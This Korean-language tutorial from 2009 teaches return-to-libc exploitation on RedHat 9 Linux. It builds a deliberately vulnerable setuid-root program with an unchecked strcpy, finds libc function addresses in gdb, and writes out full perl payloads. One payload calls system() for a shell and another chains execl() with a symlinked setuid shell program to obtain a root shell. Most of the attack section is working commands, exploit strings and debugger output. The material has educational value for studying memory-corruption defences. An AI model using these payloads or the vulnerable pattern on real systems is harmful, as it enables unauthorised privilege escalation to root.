RTL을 아는가?

작성일 : 2009/12/01

Written by MaJ3stY

목 차

0x01 Notice

(존댓말을 생략하겠습니다.)
내가 RTL 기법을 처음 접한 건 달고나님의 BOF(Buffer Overflow) 기초 강좌 문서에서 였다. 그때는 BOF도 버거웠던 때라 RTL은 꿈에도 꾸지 못하였다. 하지만 지금은 어느 정도 개념을 익혔기 때문에 이렇게 문서도 쓸 수 있는 것 같다. BOF를 어렵게 느꼈다고 공부를 포기하는건 이르다. BOF는 요즘 별로 쓰이지 않는 기법이며 공격 패턴 또한 조금에 차이가 있다. 물론 기본적인 RET(Return Address)을 덮어쓰는 개념은 같지만 말이다. 나도 완벽하게 RTL 기법을 이해하고 있지는 않다. 하지만 이 글을 쓰면서 개념을 다시 한번 복습해보려 한다. 또 군대를 가기 때문에 잊을까봐 이 글을 쓴다.... ㅋㅋㅋㅋ;;

이 글을 읽기 위해서는 몇가지의 선수지식이 필요하다.

1. 메모리 구조의 이해.
2. RET 덮어 씌우기 개념.
3. gdb 사용법.
4. C언어
5. Asm

이정도가 이 문서를 보기에 필요하다. 아무리 초보자를 위한 문서라고는 하나 시스템자체를 접하는 초보가 보기에는 조금 무리가 있다. 모든 것에 단계가 있듯이 해킹에도 단계가 있다. BOF를 배우고 FSB를 배우고 RTL을 배우고 뭐 이런식에... 선수지식을 하나라도 빼먹었다면 필히 공부하고 오길 바란다. 기초가 제일 중요하다.
쓸데없는 말이 길어진 듯 하다. 바로 본론으로 들어가겠다.

0x02 RTL 이란?

RTL(Return To Libc)는 간단하게 쉘 코드 없이 Exploit 하는 것이다. Exploit이 뭔지는 생략하겠다. 이 전에 시스템 해킹 기법인 BOF나 FSB(Format String Bug)등은 Eggshell이나 직접만든 쉘 코드를 이용해서 Root권한을 취득하였다. 하지만 이후에 나온 현시대 해킹 기법인 RTL이나 Omega Project등은 쉘 코드를 따로 필요치 않는다. 그렇기 때문에 기존 BOF나 FSB보다 간편하고 공격하기가 편하다. 또 요즘 커널들은 BOF등의 기존 시스템 해킹 공격기법을 방어하기 위해 여러 가지 보안패치를 해두어 공격에 성공하기 쉽지 않다. 그렇기 때문에 RTL이나 Omega등이 더 주목받는 것이다.

RTL의 핵심은 RET에 libc라고 하는 공유 라이브러리 내의 함수를 덮어씌우는 것이다.

프로그램이 실행하는 동안에 메모리에는 libc에 있는 함수나 환경변수들이 들어가게 된다. 여기서 system() 함수나 execl() 함수 등을 RET에 덮어 씌어 쉘을 불러오게 하는 것이다.

syetem()함수나 execl()함수등은 ebp+8바이트 위치의 인자를 참조한다.

난 이 문장이 무엇을 뜻하는지 깨닫는데 오래 걸렸다. 간단하게 설명하자면 기본 스택은 아래와 같을 것이다.

[buffer][ebp][ret]

하지만 RTL 공격할 때의 스택을 보면

[AAAAAAAAAA…][AAAA][system() or execl() Address][dummy][함수의 인자 주소]

함수의 인자부분이 ebp+8 위치이다. dummy부분이 ebp+4 이다. 함수의 주소를 기준으로 +8바이트의 위치에서 함수의 인자 값을 참조한다. 이것이 제일 중요하다 dummy는 참조 주소를 맞춰주려고 일부러 넣어주는 쓰레기 값을 뜻 한다.

0x03 공격을 직접 해보자.

이 문서대로 공부를 하려면 실습환경이 비슷해야 한다. 이 문서에서는 아래와 같은 실습환경을 사용할 것이다.

```
[sai@localhost sai]$ uname -a
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 athlon
```

i386 GNU/Linux(결국 RedHat 9)

```
[sai@localhost sai]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man
--infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking
--with-system-zlib --enable-__cxa_atexit --host=i386-redhat-linux
Thread model: posix
gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)
```

아래는 취약한 프로그램 소스이다.

```
[sai@localhost sai]$ cat vul.c
#include <stdio.h>

int main(int argc, char *argv[])
{
        int buf[5];

        strcpy(buf, argv[1]);
        return 0;
}
```

컴파일을 하고 root권한으로 바꾸자.

```
[sai@localhost sai]$ gcc -o vul vul.c
vul.c: In function `main':
vul.c:7: warning: passing arg 1 of `strcpy' from incompatible pointer type
[sai@localhost sai]$ su root
Password:
[root@localhost sai]# chown root vul
[root@localhost sai]# chmod 4755 vul
```

```
[root@localhost sai]# ls -al
drwx------    3 sai      sai          4096 11¿ù 20 18:05 .
drwxr-xr-x    3 root     root         4096 11¿ù 19 22:32 ..
-rwsr-xr-x    1 root     sai         11540 11¿ù 20 18:05 vul
-rw-rw-r--    1 sai      sai           105 11¿ù 20 18:02 vul.c
```

빨간색 s가 보이는가? 보인다면 설정이 제대로 된 것이다. 이제 gdb로 vul 프로그램을 분석해보자. 어려울 건 없다.
참고로 다른 사용자의 프로그램을 gdb로 디버깅 할 경우 디버깅이 안된다. 그러므로 cp명령어로 디버깅하고 싶은 프로그램을 복사 후 복사한 프로그램을 디버깅 하자.

```
[sai@localhost sai]$ cp vul vul1
[sai@localhost sai]$ ls
vul  vul.c  vul1
[sai@localhost sai]$ gdb vul1
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048328 <main+0>:    push   %ebp
0x08048329 <main+1>:    mov    %esp,%ebp
0x0804832b <main+3>:    sub    $0x28,%esp
0x0804832e <main+6>:    and    $0xfffffff0,%esp
0x08048331 <main+9>:    mov    $0x0,%eax
0x08048336 <main+14>:   sub    %eax,%esp
0x08048338 <main+16>:   sub    $0x8,%esp
0x0804833b <main+19>:   mov    0xc(%ebp),%eax
0x0804833e <main+22>:   add    $0x4,%eax
```

```
0x08048341 <main+25>:    pushl  (%eax)
0x08048343 <main+27>:    lea    0xffffffd8(%ebp),%eax
0x08048346 <main+30>:    push   %eax
0x08048347 <main+31>:    call   0x8048268 <strcpy>
0x0804834c <main+36>:    add    $0x10,%esp
0x0804834f <main+39>:    mov    $0x0,%eax
0x08048354 <main+44>:    leave
0x08048355 <main+45>:    ret
0x08048356 <main+46>:    nop
0x08048357 <main+47>:    nop
End of assembler dump.
(gdb)
```

main() 함수를 디버깅 한 모습이다. sub $0x28,%esp 이 부분에서 스택에 버퍼를 할당하고 있는 것이다. 버퍼의 크기는 40바이트이다. 28은 16진수이므로 십진수로 바꿔주면 40이 된다. 지금 스택에 모양은 아래와 같을 것이다.(메모리가 옆으로 누워져있을 경우)

[buffer(40)] [ebp(4)] [ret(4)]

그럼 ret까지 도달하기 위한 거리는 44바이트이다. 간단하게 테스트를 해보자.

```
[sai@localhost sai]$ ./vul `perl -e 'print "A"x43'`
```

위 경우에는 buffer(40)바이트를 A로 덮고 ebp부분에 1바이트만을 남겨두는 경우이다. 그러므로 ret까지의 거리는 1바이트가 남아 아무런 반응이 나타나지 않는 것이다.

```
[sai@localhost sai]$ ./vul `perl -e 'print "A"x44'`
세그멘테이션 오류
```

위 경우에는 ebp까지 모두 덮어 씌우고 ret에 접근했기 때문에 세그멘테이션 오류가 나오는 것이다.
이제 거리를 알았으니 본격적으로 RTL기법을 이용해 공격해보자.
RTL에서의 핵심은 system()함수나 execl()함수 등의 쉘 명령어 실행 함수를 ret에 덮어 씌우는 것이라 하였다.

첫 번째로, system()함수를 이용하여 공격해보자.
실행중인 system() 함수의 주소를 구해야 하므로 gdb로 디버깅하여 알아보자.

```
[sai@localhost sai]$ gdb -q vul1
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/sai/vul1

Breakpoint 1, 0x0804832e in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb)
```

system()함수의 주소는 0x4203f2c0 이다.
이제 system() 함수의 인자의 주소를 찾아보자.
/bin/sh를 우리는 인자로 쓸 것이다. 이유는 다들 아리라 믿고 넘어가겠다.
/bin/sh의 주소를 찾는 방법은 여러 가지이다. 하지만 이 문서에서는 환경변수를 이용할 것이다.

```
[sai@localhost sai]$ export shell="/bin/sh"
[sai@localhost sai]$ env
HOSTNAME=localhost.localdomain
TERM=xterm
SHELL=/bin/bash
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=192.168.16.1 3290 22
SSH_TTY=/dev/pts/3
USER=sai
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or
=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:
*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=0
0;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=0
0;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;
35:*.tif=00;35:
```

MAIL=/var/spool/mail/sai
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/sai/bin
INPUTRC=/etc/inputrc
PWD=/home/sai
LANG=ko_KR.eucKR
shell=/bin/sh
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/sai
LOGNAME=sai
SSH_CONNECTION=192.168.16.1 3290 192.168.16.132 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env

제대로 추가 되었다. 이제 이 환경변수의 주소를 구하는 프로그램을 간단하게 작성해보자.
아래 소스가 그 프로그램이다.

```
[sai@localhost sai]$ cat env.c
#include <stdio.h>

int main()
{
        printf("env addr : 0x%x ₩n", getenv("shell"));
        return 0;
}
```

컴파일하고 실행하면 다음과 같이 나온다.

```
[sai@localhost sai]$ gcc -o env env.c
[sai@localhost sai]$ ./env
env addr : 0xbfffff26
```

shell 이라는 환경변수의 주소가 구해졌다.
다시한번 우리가 구한 것을 정리해보면 다음과 같다.

syetem() Address : 0x4203f2c0
shell env Address : 0xbfffff26

실제 Payload와 기본 스택을 비교해보겠다.
[buffer] [ebp][ret][dummy][/bin/sh Address]
[AAAAA…][AAAA][system() Address][BBBB][shell env Address]

이 그림이 이해가 가는가? 위 아래로 똑같은 자리에 있는것들을 보면 잘 이해가 갈 것이다...
A로 ebp까지 채운 후에 ret을 system 주소로 덮어쓴다. 그리고는 인자 참조 조건을 맞춰주면 끝인 것이다.

그럼 실제로 공격을 한번 해보자.
[sai@localhost sai]$ ./vul `perl -e 'print "a"x44, "₩xc0₩xf2₩x03₩x42","BBBB","₩x26₩xff₩xff₩xbf"'`
sh-2.05b$ id
uid=500(sai) gid=500(sai) groups=500(sai)

Payload를 간단하게 분석해보겠다.
./vul --> 프로그램 실행
perl -e --> perl 스크립트 사용
print "A"*44 --> perl 언어의 print 함수를 사용하여 A를 44개만큼 출력한다.
즉, A로 ebp까지 덮어씌우는 것.
"₩xc0₩xf2₩x03₩x42" --> system 함수를 little endian 방식으로 ret에 덮어씌운다.
"BBBB" --> 인자 참조 조건을 만족시켜주기 위한 4바이트 dummy 값.
"₩x26₩xff₩xff₩xbf" --> 환경변수 shell의 주소를 little endian 방식으로 ebp+8 위치에 넣는다.

shell 환경변수에는 /bin/sh가 있었으니 제대로 인자 값을 참조하여 shell을 띄었다. 하지만 뭔가 이상하다.
uid=500(sai) root가 아닌 자신의 계정의 쉘이다. 분명 root의 권한을 가진 프로그램으로 실행시켰는데 왜 이런 것일까?
이유는 간단하다. system() 함수는 실행권한을 낮추어서 명령을 실행하기 때문에 자신의 계정 쉘이 뜬 것이다.
그럼 root 쉘을 어떻게 띄울까? 기본적으로 생각해 볼 수 있는 방법은
system함수 외에 setreuid()함수를 system() 함수가 실행되기 전에 실행하여 root권한으로 만들

어주고 system() 함수를 실행하는 것이다.
생각한 대로 공격 payload를 그려보면 아래와 같다.

[buffer][ebp][setreuid() addr][system() addr][setreuid() 인자 addr][system() 인자 addr]

하지만 setreuid 인자 addr 부분에 0값을 넣는다고 하여도 stycpy 때문에 제대로 전달이 되지 못한다. 그럼 어떻게 해야 할까?
이 문서에서는 변하지 않는 주소에 들어있는 값에 root권한으로 shell을 띄우는 프로그램을 심볼릭크를 건 뒤 그 주소를 execl() 함수의 인자 값으로 넘겨줄 것이다. execl() 함수는 인자 값을 몇 개 줘도 상관이 없다. 하지만 마지막에는 꼭 0을 넣어줘야 한다.(인자의 끝을 알리기 위해) 0은 어떻게 넣어줄까? gdb로 디버깅 해보면 아래와 같은 NULL 값 들이 보일 것이다.

(gdb) x/64wx $esp

0xbfffeb70:	0xbfffeb80	0xbffffbff	0x42015481	0x080482a6
0xbfffeb80:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfffeb90:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfffeba0:	0x41414141	0x41414141	0x42424242	0x43434343
0xbfffebb0:	0x00000000	0xbfffebf4	0xbfffec00	0x4001582c
0xbfffebc0:	0x00000002	0x08048278	0x00000000	0x08048299
0xbfffebd0:	0x08048328	0x00000002	0xbfffebf4	0x08048358
0xbfffebe0:	0x08048388	0x4000c660	0xbfffebec	0x00000000
0xbfffebf0:	0x00000002	0xbffffbf0	0xbffffbff	0x00000000
0xbfffec00:	0xbffffc30	0xbffffc4f	0xbffffc5f	0xbffffc6a
0xbfffec10:	0xbffffc78	0xbffffc88	0xbffffca8	0xbffffcbb
0xbfffec20:	0xbffffcc4	0xbffffe87	0xbffffec6	0xbffffedf
0xbfffec30:	0xbffffeeb	0xbffffef9	0xbffffff0e	0xbffffff1f
0xbfffec40:	0xbffffff2d	0xbffffff60	0xbffffff6f	0xbffffff77
0xbfffec50:	0xbffffff83	0xbffffffb6	0xbffffffd8	0x00000000
0xbfffec60:	0x00000020	0xffffe000	0x00000010	0x078bfbff

이러한 NULL 값들을 이용해보면 어떨까? 함수의 인자로 참조하게 끔 조건만 맞게 해준다면 충분히 가능한 일이 될 것이다. 보다 시피 입력한 값은 0x43434343 까지이다. 처음 빨간색 NULL값까지의 거리가 입력부분과 조금 멀다.

이 문제점은 필요 없는 함수나 인자 값을 반복적으로 주입시켜 eip 레지스터가 NULL값 까지 가게 하면 해결 된다. (참고로 0x43434343 부분이 ret부분.)
그럼 이제 주소가 변하지 않는 부분의 값을 찾아 그 값에 shell 프로그램을 심볼 링크 시켜야 한다. 변하지 않는 주소에는 Data segment가 있다.
이 부분에 변하지 않는 주소의 값을 정해 심볼 링크를 걸어보도록 하겠다. 링크에 걸릴 shell 프로그램 소스는 아래와 같다.

```
[sai@localhost sai]$ cat shell.c
#include <stdio.h>

int main()
{
        setuid(0);
        system("/bin/sh");
        return 0;
}
```

컴파일을 해두도록 하자.

데이터 세그먼트의 주소는 0x08049000부터 시작한다. 이 주소를 참고하여 디버깅하면 아래와 같이 나온다.

```
[sai@localhost sai]$ gdb -q vul1
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/sai/vul1

Breakpoint 1, 0x0804832e in main ()
(gdb) x/64wx 0x08049000
0x8049000:      0x464c457f      0x00010101      0x00000000      0x00000000
0x8049010:      0x00030002      0x00000001      0x08048278      0x00000034
0x8049020:      0x00001d14      0x00000000      0x00200034      0x00280006
0x8049030:      0x001f0022      0x00000006      0x00000034      0x08048034
```

```
0x8049040:      0x08048034      0x000000c0      0x000000c0      0x00000005
0x8049050:      0x00000004      0x00000003      0x000000f4      0x080480f4
0x8049060:      0x080480f4      0x00000013      0x00000013      0x00000004
0x8049070:      0x00000001      0x00000001      0x00000000      0x08048000
0x8049080:      0x08048000      0x00000408      0x00000408      0x00000005
0x8049090:      0x00001000      0x00000001      0x00000408      0x08049408
0x80490a0:      0x08049408      0x00000100      0x00000104      0x00000006
0x80490b0:      0x00001000      0x00000002      0x00000414      0x08049414
0x80490c0:      0x08049414      0x000000c8      0x000000c8      0x00000006
0x80490d0:      0x00000004      0x00000004      0x00000108      0x08048108
0x80490e0:      0x08048108      0x00000020      0x00000020      0x00000004
0x80490f0:      0x00000004      0x62696c2f      0x2d646c2f      0x756e696c
(gdb)
```

빨간색 부분과 같이 간단한 값이 제일 좋다.

이제 심볼 링크를 걸어보도록 하자.

```
[sai@localhost sai]$ ln -s shell `perl -e 'print "₩x01"'`
[sai@localhost sai]$ ls -al
합계 116
lrwxrwxrwx    1 sai      sai             5 11¿ù 20 19:36 ? -> shell
drwx------    3 sai      sai          4096 11¿ù 20 19:36 .
drwxr-xr-x    3 root     root         4096 11¿ù 19 22:32 ..
-rwxrwxr-x    1 sai      sai         11662 11¿ù 20 18:37 env
-rw-rw-r--    1 sai      sai            92 11¿ù 20 18:37 env.c
-rwxrwxr-x    1 sai      sai         11648 11¿ù 20 19:32 shell
-rw-rw-r--    1 sai      sai            83 11¿ù 20 19:32 shell.c
-rwsr-xr-x    1 root     sai         11540 11¿ù 20 18:05 vul
-rw-rw-r--    1 sai      sai           105 11¿ù 20 18:02 vul.c
-rwxr-xr-x    1 sai      sai         11540 11¿ù 20 18:09 vul1
```

₩x01은 0x00000001 과 같은 표현이다. 이제 0x00000001의 주소는 0x8049014 이다.
이제 우리가 필요한 execl() 함수의 주소를 구해보자.

[sai@localhost sai]$ gdb -q vul1
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/sai/vul1

Breakpoint 1, 0x0804832e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x420acaa0 <execl>
(gdb)

execl() 함수의 주소는 0x420acaa0 이다. 그럼 공격할 payload와 주소들을 정리해보자.

[AAAA…][AAAA][execl() addr][심볼 링크 주소 반복]

여기서 중요한건 심볼 링크 주소를 몇 번 실행 해주는 가 이다. 디버깅 화면을 다시 한번 보자.
(gdb) x/64wx $esp
0xbfffeb70: 0xbfffeb80 0xbffffbff 0x42015481 0x080482a6
0xbfffeb80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeba0: 0x41414141 0x41414141 0x42424242 0x43434343
0xbfffebb0: 0x00000000 0xbfffebf4 0xbfffec00 0x4001582c
0xbfffebc0: 0x00000002 0x08048278 0x00000000 0x08048299

빨간색의 NULL부분까지 이동하려면 RET다음부터 계산하면 된다. 이유는 RET에는 execl()함수의 주소를 덮어 씌어 줄 것이기 때문이다. 빨간색을 제외한 색을 세어보면 6번이라는 결과가 나온다. 즉 심볼 링크 주소를 6번 반복해 메모리에 써넣으면 결국 NULL값까지 eip가 진행 된다는 것이다.
그럼 주소들을 정리해보자.
execl() Address : 0x420acaa0
sysbol shell Address : 0x8049014

필요한 모든 준비가 끝났다. 이제 실제로 공격을 해보고 Payload를 분석해보자.
[sai@localhost sai]$ ./vul "`perl -e 'print

"A"x44,"₩xa0₩xca₩x0a₩x42","₩x14₩x90₩x04₩x08"x6'`"
sh-2.05b# id
uid=0(root) gid=500(sai) groups=500(sai)
sh-2.05b#

중요한 부분만 주석을 달겠다.
print "A"x44 --> buffer를 시작으로 ebp까지 A로 덮어씀.
"₩xa0₩xca₩x0a₩x42" --> execl() 함수의 주소를 little endian 방식으로 ret에 덮어씀.
"₩x14₩x90₩x04₩x08"x6 --> shell 프로그램을 심볼링크 건 주소를 6번 반복하여 메모리에 써준다.
중요한 것을 설명하지 않을 뻔 하였다. 백 쿼터 앞과 뒤를 보면 “”가 한번 더 들어가있는 것을 볼 수 있다. 이건 메모리에 0a를 넣으면 제대로 전달이 안 되기 때문에 “”로 한번 더 묶어 하나의 인자로 전달해 준 것이다.
마지막으로 값들이 어떻게 들어갔나 디버깅을 해보도록 하자.

[sai@localhost sai]$ gdb -q vul1
(gdb) b* main+36
Breakpoint 1 at 0x804834c
(gdb) r "`perl -e 'print "A"x44,"₩xa0₩xca₩x0a₩x42","₩x14₩x90₩x04₩x08"x6'`"
Starting program: /home/sai/vul1 "`perl -e 'print "A"x44,"₩xa0₩xca₩x0a₩x42","₩x14₩x90₩x04₩x08"x6'`"

Breakpoint 1, 0x0804834c in main ()
(gdb) x/64wx $esp
0xbfffde60: 0xbfffde70 0xbffffbe7 0x42015481 0x080482a6
0xbfffde70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffde80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffde90: 0x41414141 0x41414141 0x41414141 0x420acaa0
0xbfffdea0: 0x08049014 0x08049014 0x08049014 0x08049014
0xbfffdeb0: 0x08049014 0x08049014 0x00000000 0x08048299
0xbfffdec0: 0x08048328 0x00000002 0xbfffdee4 0x08048358
0xbfffded0: 0x08048388 0x4000c660 0xbfffdedc 0x00000000
0xbfffdee0: 0x00000002 0xbffffbd8 0xbffffbe7 0x00000000

0xbfffdef0: 0xbffffc30 0xbffffc4f 0xbffffc5f 0xbffffc6a
0xbfffdf00: 0xbffffc78 0xbffffc88 0xbffffca8 0xbffffcbb
0xbfffdf10: 0xbffffcc4 0xbffffe87 0xbffffec6 0xbffffedf
0xbfffdf20: 0xbffffeeb 0xbffffef9 0xbfffff0e 0xbfffff1f
0xbfffdf30: 0xbfffff2d 0xbfffff60 0xbfffff6f 0xbfffff77
0xbfffdf40: 0xbfffff83 0xbfffffb6 0xbfffffd8 0x00000000
0xbfffdf50: 0x00000020 0xffffe000 0x00000010 0x078bfbff
빨간 부분을 보면 잘 들어간 것을 볼 수 있다.

0x04 마치며

조금 횡설수설 한 부분이 없지 않다. 이런 문서를 처음 쓰고 또 쓰면서 개념을 잡으려고 했기 때문에 설명이 조금 서툴거나 틀린 부분이 있을지도 모른다.
이 문서를 통해 익힌 기술을 사용하여 발생하는 어떠한 상황에 대해서도 책임은 글쓴이가 아닌 기술을 사용한 사용자에게 있음을 알린다. 쓰다보니 내가 읽고 개념을 잡은 문서와 상당히 비슷하다. 이 부분에 대해서는 할 말이 없다. 곡을 처음 쓰는 작가가 자신이 평소에 좋아하는 노래의 음과 비슷하게 작곡하는 것과 별반 다를게 없다.
(후반부에는 귀찮아서 날림글로 대충 썼다.)
Omega 프로젝트도 RTL과 별반 다를것이 없다. 심볼 링크를 조금 더 응용하는 편이랄까...
RTL 개념을 이용하여 자신만의 공격 payload를 만들어 보길 바란다. 하지만 만들다보면 깨닫게 될 것이다. 알려진 것이 제일 편한 것이라는 것을... 더 편한 payload를 만들면 당신은 천재!!!
그럼 이만 이 글을 마치도록 하겠다.

부족하고 긴 글 읽어주셔서 감사합니다.